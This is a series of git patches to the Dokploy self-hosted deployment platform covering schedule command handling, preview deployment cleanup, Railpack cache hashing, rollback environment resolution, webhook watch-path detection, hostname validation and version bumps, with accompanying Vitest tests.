+ await spawnAsync(
+ "docker",
+ ["exec", containerId, shellType, "-c", command],
+ (data) => {
+ if (writeStream.writable) {
+ writeStream.write(data);
+ }
+ },
+ );
+
+ writeStream.write("✅ Command executed successfully\n");
+ writeStream.end();
+ } catch (error) {
+ writeStream.write("❌ Command failed\n");
+ writeStream.write(
+ error instanceof Error ? error.message : "Unknown error",
);
writeStream.end();
- return;
+ throw error;
}
- writeStream.write(
- `docker exec ${containerId} ${shellType} -c ${command}\n`,
- );
- await spawnAsync(
- "docker",
- ["exec", containerId, shellType, "-c", command],
- (data) => {
- if (writeStream.writable) {
- writeStream.write(data);
- }
- },
- );
-
- writeStream.write("✅ Command executed successfully\n");
- } catch (error) {
- writeStream.write("❌ Command failed\n");
- writeStream.write(
- error instanceof Error ? error.message : "Unknown error",
- );
- writeStream.end();
- await updateDeploymentStatus(deployment.deploymentId, "error");
- throw error;
}
- }
- } else if (scheduleType === "dokploy-server") {
- try {
+ } else if (scheduleType === "dokploy-server") {
const writeStream = createWriteStream(deployment.logPath, { flags: "a" });
const { SCHEDULES_PATH } = paths();
const fullPath = path.join(SCHEDULES_PATH, appName || "");
@@ -151,18 +169,13 @@ export const runCommand = async (scheduleId: string) => {
cwd: fullPath,
},
);
- } catch (error) {
- await updateDeploymentStatus(deployment.deploymentId, "error");
- throw error;
- }
- } else if (scheduleType === "server") {
- try {
+ } else if (scheduleType === "server") {
const { SCHEDULES_PATH } = paths(true);
const fullPath = path.join(SCHEDULES_PATH, appName || "");
const command = `
set -e
echo "Running script" >> ${deployment.logPath};
- bash -c ${fullPath}/script.sh 2>&1 | tee -a ${deployment.logPath} || {
+ bash -c ${fullPath}/script.sh 2>&1 | tee -a ${deployment.logPath} || {
echo "❌ Command failed" >> ${deployment.logPath};
exit 1;
}
@@ -177,10 +190,11 @@ export const runCommand = async (scheduleId: string) => {
});
}
});
- } catch (error) {
- await updateDeploymentStatus(deployment.deploymentId, "error");
- throw error;
}
+ await updateDeploymentStatus(deployment.deploymentId, "done");
+ return { ...deployment, status: "done" as const };
+ } catch {
+ await updateDeploymentStatus(deployment.deploymentId, "error");
+ return { ...deployment, status: "error" as const };
}
- await updateDeploymentStatus(deployment.deploymentId, "done");
};
From 13b897c01deee0f9509e0cd3e17a77804fa7ba3c Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Mon, 3 Aug 2026 03:43:17 -0600
Subject: [PATCH 070/419] Merge pull request #4959 from
Dokploy/fix/cleanup-preview-deployments-on-app-delete
fix(application): remove preview deployments when deleting an application
(cherry picked from commit 056b6983db6387ece925a60661d8fcd4b45f7d30)
---
apps/dokploy/server/api/routers/application.ts | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/apps/dokploy/server/api/routers/application.ts b/apps/dokploy/server/api/routers/application.ts
index e1bbedcb9..b6e2a3ee4 100644
--- a/apps/dokploy/server/api/routers/application.ts
+++ b/apps/dokploy/server/api/routers/application.ts
@@ -4,6 +4,7 @@ import {
deleteAllMiddlewares,
findApplicationById,
findEnvironmentById,
+ findPreviewDeploymentsByApplicationId,
findProjectById,
getAccessibleServerIds,
getApplicationStats,
@@ -16,6 +17,7 @@ import {
removeDeployments,
removeDirectoryCode,
removeMonitoringDirectory,
+ removePreviewDeployment,
removeService,
removeTraefikConfig,
startService,
@@ -234,6 +236,15 @@ export const applicationRouter = createTRPCRouter({
});
}
+ const previewDeploymentsList =
+ await findPreviewDeploymentsByApplicationId(input.applicationId);
+
+ for (const previewDeployment of previewDeploymentsList) {
+ try {
+ await removePreviewDeployment(previewDeployment.previewDeploymentId);
+ } catch (_) {}
+ }
+
const result = await db
.delete(applications)
.where(eq(applications.applicationId, input.applicationId))
From b7fdbd470417c87829450e0771d3b845d30efa81 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Mon, 3 Aug 2026 03:55:49 -0600
Subject: [PATCH 071/419] Merge pull request #4557 from
rnkp755/fix/env-update-issue
fix: invalidate railpack build cache when env changes
(cherry picked from commit a1230098c99aae40d8bab271d84ac5e6a2c54293)
---
.../__test__/deploy/railpack.command.test.ts | 104 ++++++++++++++++++
.../server/src/utils/builders/railpack.ts | 11 +-
2 files changed, 107 insertions(+), 8 deletions(-)
create mode 100644 apps/dokploy/__test__/deploy/railpack.command.test.ts
diff --git a/apps/dokploy/__test__/deploy/railpack.command.test.ts b/apps/dokploy/__test__/deploy/railpack.command.test.ts
new file mode 100644
index 000000000..94c95c950
--- /dev/null
+++ b/apps/dokploy/__test__/deploy/railpack.command.test.ts
@@ -0,0 +1,104 @@
+import type { ApplicationNested } from "@dokploy/server/utils/builders";
+import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
+import { describe, expect, it } from "vitest";
+
+const createApplication = (
+ overrides: Partial
= {},
+): ApplicationNested =>
+ ({
+ appName: "test-app",
+ buildType: "railpack",
+ sourceType: "git",
+ buildPath: "/",
+ railpackVersion: "0.15.4",
+ env: "TEST_VAR=one",
+ cleanCache: false,
+ environment: {
+ project: {
+ env: "",
+ },
+ env: "",
+ },
+ ...overrides,
+ }) as unknown as ApplicationNested;
+
+const getSecretsHash = (command: string) => {
+ const match = command.match(/secrets-hash=([a-f0-9]{64})/);
+ if (!match?.[1]) {
+ throw new Error("secrets-hash build arg was not found");
+ }
+
+ return match[1];
+};
+
+describe("getRailpackCommand", () => {
+ it("includes secrets-hash without clean cache", () => {
+ const command = getRailpackCommand(createApplication());
+
+ expect(command).toContain("--build-arg secrets-hash=");
+ expect(command).not.toContain("cache-key=");
+ });
+
+ it("includes cache-key only when clean cache is enabled", () => {
+ const command = getRailpackCommand(
+ createApplication({
+ cleanCache: true,
+ }),
+ );
+
+ expect(command).toContain("--build-arg secrets-hash=");
+ expect(command).toContain("--build-arg cache-key=");
+ });
+
+ it("changes secrets-hash when an environment value changes", () => {
+ const firstCommand = getRailpackCommand(
+ createApplication({
+ env: "TEST_VAR=one",
+ }),
+ );
+ const secondCommand = getRailpackCommand(
+ createApplication({
+ env: "TEST_VAR=two",
+ }),
+ );
+
+ expect(getSecretsHash(firstCommand)).not.toEqual(
+ getSecretsHash(secondCommand),
+ );
+ });
+
+ it("changes secrets-hash when referenced project or environment values change", () => {
+ const firstCommand = getRailpackCommand(
+ createApplication({
+ env: [
+ "PROJECT_VALUE=${{project.SHARED_VALUE}}",
+ "ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
+ ].join("\n"),
+ environment: {
+ project: {
+ env: "SHARED_VALUE=one",
+ },
+ env: "SHARED_VALUE=alpha",
+ },
+ } as Partial),
+ );
+ const secondCommand = getRailpackCommand(
+ createApplication({
+ env: [
+ "PROJECT_VALUE=${{project.SHARED_VALUE}}",
+ "ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
+ ].join("\n"),
+ environment: {
+ project: {
+ env: "SHARED_VALUE=two",
+ },
+ env: "SHARED_VALUE=beta",
+ },
+ } as Partial),
+ );
+
+ expect(getSecretsHash(firstCommand)).not.toEqual(
+ getSecretsHash(secondCommand),
+ );
+ });
+});
diff --git a/packages/server/src/utils/builders/railpack.ts b/packages/server/src/utils/builders/railpack.ts
index b12296a56..b393f4460 100644
--- a/packages/server/src/utils/builders/railpack.ts
+++ b/packages/server/src/utils/builders/railpack.ts
@@ -53,14 +53,9 @@ export const getRailpackCommand = (application: ApplicationNested) => {
"build",
"--builder",
builderName,
- ...(cacheKey
- ? [
- "--build-arg",
- `secrets-hash=${secretsHash}`,
- "--build-arg",
- `cache-key=${cacheKey}`,
- ]
- : []),
+ "--build-arg",
+ `secrets-hash=${secretsHash}`,
+ ...(cacheKey ? ["--build-arg", `cache-key=${cacheKey}`] : []),
"--build-arg",
`BUILDKIT_SYNTAX=ghcr.io/railwayapp/railpack-frontend:v${application.railpackVersion}`,
"-f",
From 112b2c8358fd58d99058e8562b34ce2fcae9eeb0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Mon, 3 Aug 2026 13:41:06 -0400
Subject: [PATCH 072/419] Merge pull request #4923 from
dmtrTm/fix/rollback-environment-variables
fix: resolve environment variables on application rollback
(cherry picked from commit 46c87a22b08408b58c329b0bfe4a35511252e037)
---
.../__test__/env/rollback-environment.test.ts | 108 ++++++++++++++++++
packages/server/src/db/schema/rollbacks.ts | 3 +-
packages/server/src/services/rollbacks.ts | 4 +-
3 files changed, 113 insertions(+), 2 deletions(-)
create mode 100644 apps/dokploy/__test__/env/rollback-environment.test.ts
diff --git a/apps/dokploy/__test__/env/rollback-environment.test.ts b/apps/dokploy/__test__/env/rollback-environment.test.ts
new file mode 100644
index 000000000..7d71059e0
--- /dev/null
+++ b/apps/dokploy/__test__/env/rollback-environment.test.ts
@@ -0,0 +1,108 @@
+import { prepareEnvironmentVariables } from "@dokploy/server/index";
+import { describe, expect, it } from "vitest";
+
+const projectEnv = `
+ENVIRONMENT=staging
+DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
+`;
+
+const environmentEnv = `
+NODE_ENV=production
+POSTGRES_HOST=postgres.internal
+POSTGRES_PORT=5432
+REDIS_URL=redis://redis.internal:6379
+`;
+
+const serviceEnv = `
+NODE_ENV=\${{environment.NODE_ENV}}
+REDIS_URL=\${{environment.REDIS_URL}}
+PORT=3000
+`;
+
+/**
+ * A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
+ * the service env, the environment env and the project env captured at deploy time.
+ */
+const fullContext = {
+ env: serviceEnv,
+ environment: {
+ env: environmentEnv,
+ project: {
+ env: projectEnv,
+ },
+ },
+};
+
+describe("prepareEnvironmentVariables for application rollback", () => {
+ it("resolves environment variables from the rollback snapshot", () => {
+ const result = prepareEnvironmentVariables(
+ fullContext.env,
+ fullContext.environment.project.env,
+ fullContext.environment.env,
+ );
+
+ expect(result).toEqual([
+ "NODE_ENV=production",
+ "REDIS_URL=redis://redis.internal:6379",
+ "PORT=3000",
+ ]);
+ });
+
+ it("resolves project and environment variables together on rollback", () => {
+ const rollbackEnv = `
+DATABASE_URL=\${{project.DATABASE_URL}}
+POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
+ENVIRONMENT=\${{project.ENVIRONMENT}}
+`;
+
+ const result = prepareEnvironmentVariables(
+ rollbackEnv,
+ projectEnv,
+ environmentEnv,
+ );
+
+ expect(result).toEqual([
+ "DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
+ "POSTGRES_URL=postgres://postgres.internal:5432/app",
+ "ENVIRONMENT=staging",
+ ]);
+ });
+
+ it("throws when the environment env of the snapshot is not passed", () => {
+ expect(() =>
+ prepareEnvironmentVariables(fullContext.env, projectEnv),
+ ).toThrow("Invalid environment variable: environment.NODE_ENV");
+ });
+
+ it("maintains precedence: service > environment > project on rollback", () => {
+ const conflictingProjectEnv = `
+NODE_ENV=project
+API_URL=https://project.api.com
+`;
+
+ const conflictingEnvironmentEnv = `
+NODE_ENV=environment
+API_URL=https://environment.api.com
+`;
+
+ const rollbackEnv = `
+NODE_ENV=service
+PROJECT_API_URL=\${{project.API_URL}}
+ENVIRONMENT_API_URL=\${{environment.API_URL}}
+SELF_REFERENCE=\${{NODE_ENV}}
+`;
+
+ const result = prepareEnvironmentVariables(
+ rollbackEnv,
+ conflictingProjectEnv,
+ conflictingEnvironmentEnv,
+ );
+
+ expect(result).toEqual([
+ "NODE_ENV=service",
+ "PROJECT_API_URL=https://project.api.com",
+ "ENVIRONMENT_API_URL=https://environment.api.com",
+ "SELF_REFERENCE=service",
+ ]);
+ });
+});
diff --git a/packages/server/src/db/schema/rollbacks.ts b/packages/server/src/db/schema/rollbacks.ts
index ec27d683f..5e3d40776 100644
--- a/packages/server/src/db/schema/rollbacks.ts
+++ b/packages/server/src/db/schema/rollbacks.ts
@@ -1,4 +1,5 @@
import type { Application } from "@dokploy/server/services/application";
+import type { Environment } from "@dokploy/server/services/environment";
import type { Mount } from "@dokploy/server/services/mount";
import type { Port } from "@dokploy/server/services/port";
import type { Project } from "@dokploy/server/services/project";
@@ -27,7 +28,7 @@ export const rollbacks = pgTable("rollback", {
.$defaultFn(() => new Date().toISOString()),
fullContext: jsonb("fullContext").$type<
Application & {
- environment: {
+ environment: Environment & {
project: Project;
};
mounts: Mount[];
diff --git a/packages/server/src/services/rollbacks.ts b/packages/server/src/services/rollbacks.ts
index cc93d3354..b3ccc5a5f 100644
--- a/packages/server/src/services/rollbacks.ts
+++ b/packages/server/src/services/rollbacks.ts
@@ -19,6 +19,7 @@ import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
import { getRemoteDocker } from "../utils/servers/remote-docker";
import { type Application, findApplicationById } from "./application";
import { findDeploymentById } from "./deployment";
+import type { Environment } from "./environment";
import type { Mount } from "./mount";
import type { Port } from "./port";
import type { Project } from "./project";
@@ -201,7 +202,7 @@ const rollbackApplication = async (
image: string,
serverId?: string | null,
fullContext?: Application & {
- environment: {
+ environment: Environment & {
project: Project;
};
mounts: Mount[];
@@ -263,6 +264,7 @@ const rollbackApplication = async (
const envVariables = prepareEnvironmentVariables(
env,
fullContext.environment.project.env,
+ fullContext.environment.env,
);
let rollbackImage = image;
From 3e4ed0c299f110f0bf951e1f1b4a9fbacbe9d425 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 4 Aug 2026 10:59:35 -0600
Subject: [PATCH 073/419] Merge pull request #4966 from
Dokploy/fix/requests-hostname-filter-crash
fix(requests): guard RequestHost before filtering to avoid crash on malformed logs
(cherry picked from commit a0162ab5669badc9a8eb1aa45b44812a2bfda480)
---
.../dokploy/__test__/requests/request.test.ts | 22 +++++++++++++++++++
packages/server/src/utils/access-log/utils.ts | 2 +-
2 files changed, 23 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/__test__/requests/request.test.ts b/apps/dokploy/__test__/requests/request.test.ts
index 3f58ac439..844458fd2 100644
--- a/apps/dokploy/__test__/requests/request.test.ts
+++ b/apps/dokploy/__test__/requests/request.test.ts
@@ -55,6 +55,28 @@ describe("processLogs", () => {
expect(result.data).toHaveLength(2);
});
+ it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
+ const entryWithoutRequestHost = sampleLogEntry.replace(
+ /"RequestHost":"[^"]*",/,
+ "",
+ );
+
+ const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
+
+ expect(() =>
+ parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
+ ).not.toThrow();
+
+ const result = parseRawConfig(
+ mixedEntries,
+ undefined,
+ undefined,
+ "traefik.me",
+ );
+ expect(result.totalCount).toBe(1);
+ expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
+ });
+
it("should filter out Dokploy dashboard requests", () => {
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
diff --git a/packages/server/src/utils/access-log/utils.ts b/packages/server/src/utils/access-log/utils.ts
index 9b472ee27..ddaef3ec4 100644
--- a/packages/server/src/utils/access-log/utils.ts
+++ b/packages/server/src/utils/access-log/utils.ts
@@ -120,7 +120,7 @@ export function parseRawConfig(
if (search) {
parsedLogs = parsedLogs.filter((log) =>
- log.RequestHost.toLowerCase().includes(search.toLowerCase()),
+ (log.RequestHost ?? "").toLowerCase().includes(search.toLowerCase()),
);
}
From e19d7bbf0e894c25ba1caf447afef1ee222311f4 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 4 Aug 2026 11:51:24 -0600
Subject: [PATCH 074/419] Merge pull request #4971 from
Dokploy/fix/restore-dialog-width
fix(ui): widen restore backup dialog to match other backup dialogs
(cherry picked from commit 3495fc89bf0edcda16ac405c537ab8541e799d35)
---
.../components/dashboard/database/backups/restore-backup.tsx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx
index 53f5ae03e..0c13bddb7 100644
--- a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx
+++ b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx
@@ -316,7 +316,7 @@ export const RestoreBackup = ({
Restore Backup
-
+
From bcf97f92aba99406b5c4471962ce23b82fba18ca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?=
Date: Wed, 5 Aug 2026 22:21:12 -0400
Subject: [PATCH 075/419] Merge pull request #4772 from
rifatdinc/fix-watch-paths-added-removed-files
fix(webhook): include added and removed files in watchPaths validation
(cherry picked from commit 3f98208f03072bf076a36b0c495c386142aab31b)
---
.../pages/api/deploy/[refreshToken].ts | 56 ++++++++++++-------
.../api/deploy/compose/[refreshToken].ts | 48 ++++++++++------
apps/dokploy/pages/api/deploy/github.ts | 8 ++-
3 files changed, 70 insertions(+), 42 deletions(-)
diff --git a/apps/dokploy/pages/api/deploy/[refreshToken].ts b/apps/dokploy/pages/api/deploy/[refreshToken].ts
index bb6eb06d3..9cf6142d2 100644
--- a/apps/dokploy/pages/api/deploy/[refreshToken].ts
+++ b/apps/dokploy/pages/api/deploy/[refreshToken].ts
@@ -119,9 +119,11 @@ export default async function handler(
}
// If webhook doesn't provide image info, we'll use the configured image (old behavior)
} else if (sourceType === "github") {
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
@@ -150,21 +152,29 @@ export default async function handler(
let normalizedCommits: string[] = [];
if (provider === "github") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitlab") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitea") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "soft-serve") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
}
const shouldDeployPaths = shouldDeploy(
@@ -179,9 +189,11 @@ export default async function handler(
} else if (sourceType === "gitlab") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
@@ -225,9 +237,11 @@ export default async function handler(
} else if (sourceType === "gitea") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
diff --git a/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts b/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
index 85a379eb3..0d83c1017 100644
--- a/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
+++ b/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
@@ -54,9 +54,11 @@ export default async function handler(
if (sourceType === "github") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
@@ -74,9 +76,11 @@ export default async function handler(
}
} else if (sourceType === "gitlab") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
@@ -125,17 +129,23 @@ export default async function handler(
let normalizedCommits: string[] = [];
if (provider === "github") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitlab") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitea") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
}
const shouldDeployPaths = shouldDeploy(
@@ -150,9 +160,11 @@ export default async function handler(
} else if (sourceType === "gitea") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
diff --git a/apps/dokploy/pages/api/deploy/github.ts b/apps/dokploy/pages/api/deploy/github.ts
index f03bf786e..4fc75fc50 100644
--- a/apps/dokploy/pages/api/deploy/github.ts
+++ b/apps/dokploy/pages/api/deploy/github.ts
@@ -223,9 +223,11 @@ export default async function handler(
const deploymentTitle = extractCommitMessage(req.headers, req.body);
const deploymentHash = extractHash(req.headers, req.body);
const owner = getGithubRepositoryOwner(githubBody);
- const normalizedCommits = githubBody?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = githubBody?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const apps = await db.query.applications.findMany({
where: and(
From dd542994a4ecb15f20fa765728be1d7c96df9ec3 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Wed, 5 Aug 2026 23:49:59 -0600
Subject: [PATCH 076/419] chore: release v0.29.14
---
apps/dokploy/package.json | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/package.json b/apps/dokploy/package.json
index f6b4aeb2d..cca13dea7 100644
--- a/apps/dokploy/package.json
+++ b/apps/dokploy/package.json
@@ -1,6 +1,6 @@
{
"name": "dokploy",
- "version": "v0.29.13",
+ "version": "v0.29.14",
"private": true,
"license": "Apache-2.0",
"type": "module",
From 57fae7385389351ba0791d3fea928159ef7dd2c8 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Wed, 5 Aug 2026 23:54:32 -0600
Subject: [PATCH 077/419] Update packages/server/src/utils/schedules/utils.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
---
packages/server/src/utils/schedules/utils.ts | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts
index 40bc0816c..e81f9a582 100644
--- a/packages/server/src/utils/schedules/utils.ts
+++ b/packages/server/src/utils/schedules/utils.ts
@@ -118,7 +118,8 @@ export const runCommand = async (scheduleId: string) => {
"This feature is not available in the cloud version.",
);
writeStream.end();
- return { ...deployment, status: "running" as const };
+ await updateDeploymentStatus(deployment.deploymentId, "error");
+ return { ...deployment, status: "error" as const };
}
writeStream.write(
`docker exec ${containerId} ${shellType} -c ${command}\n`,
From 35af10ca07a61161110837dc9d6f6925e1074f7e Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Thu, 6 Aug 2026 00:11:16 -0600
Subject: [PATCH 078/419] Bump version to v0.30.0
---
apps/dokploy/package.json | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/package.json b/apps/dokploy/package.json
index 980142999..fdbf65ae8 100644
--- a/apps/dokploy/package.json
+++ b/apps/dokploy/package.json
@@ -1,6 +1,6 @@
{
"name": "dokploy",
- "version": "v0.29.13",
+ "version": "v0.30.0",
"private": true,
"license": "Apache-2.0",
"type": "module",
From 06b67d451991b281be3b87acb9410260f48fd32f Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Thu, 6 Aug 2026 00:26:52 -0600
Subject: [PATCH 079/419] fix(ci): push hotfix cherry-picks with PAT to satisfy
branch rules
---
.github/workflows/hotfix-cherry-pick.yml | 2 ++
1 file changed, 2 insertions(+)
diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml
index 75acee7fb..9632917d4 100644
--- a/.github/workflows/hotfix-cherry-pick.yml
+++ b/.github/workflows/hotfix-cherry-pick.yml
@@ -20,6 +20,7 @@ jobs:
with:
ref: main
fetch-depth: 0
+ token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
run: |
@@ -31,4 +32,5 @@ jobs:
else
git cherry-pick -x "$SHA"
fi
+ git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
From 5ed94954e62c3207cf4189515d905de91879902e Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Thu, 6 Aug 2026 00:01:57 -0600
Subject: [PATCH 080/419] Merge pull request #4972 from
Dokploy/fix/domain-single-label-hostname
fix(domain): allow single-label hostnames without a TLD
(cherry picked from commit 75448f358e8dc8d15f88d6b0112b1e186ada668d)
[skip ci]
---
apps/dokploy/__test__/utils/hostname-validation.test.ts | 4 +++-
packages/server/src/utils/hostname-validation.ts | 4 ++--
2 files changed, 5 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts
index c0e734282..4dac477da 100644
--- a/apps/dokploy/__test__/utils/hostname-validation.test.ts
+++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
+ "example",
+ "dokploy-server",
+ "localhost",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
"bbn_client.example.com",
"-example.com",
"example-.com",
- "example",
"exa mple.com",
"example..com",
"",
diff --git a/packages/server/src/utils/hostname-validation.ts b/packages/server/src/utils/hostname-validation.ts
index be3407e5e..bc5aae7b6 100644
--- a/packages/server/src/utils/hostname-validation.ts
+++ b/packages/server/src/utils/hostname-validation.ts
@@ -1,8 +1,8 @@
// Valid hostname per RFC 1123: labels of letters, digits and hyphens
-// (no leading/trailing hyphen), separated by dots. Underscores are rejected
+// (no leading/trailing hyphen), optionally separated by dots. Underscores are rejected
// because Let's Encrypt refuses to issue certificates for them.
export const VALID_HOSTNAME_REGEX =
- /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/;
+ /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)*[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/;
export const INVALID_HOSTNAME_MESSAGE =
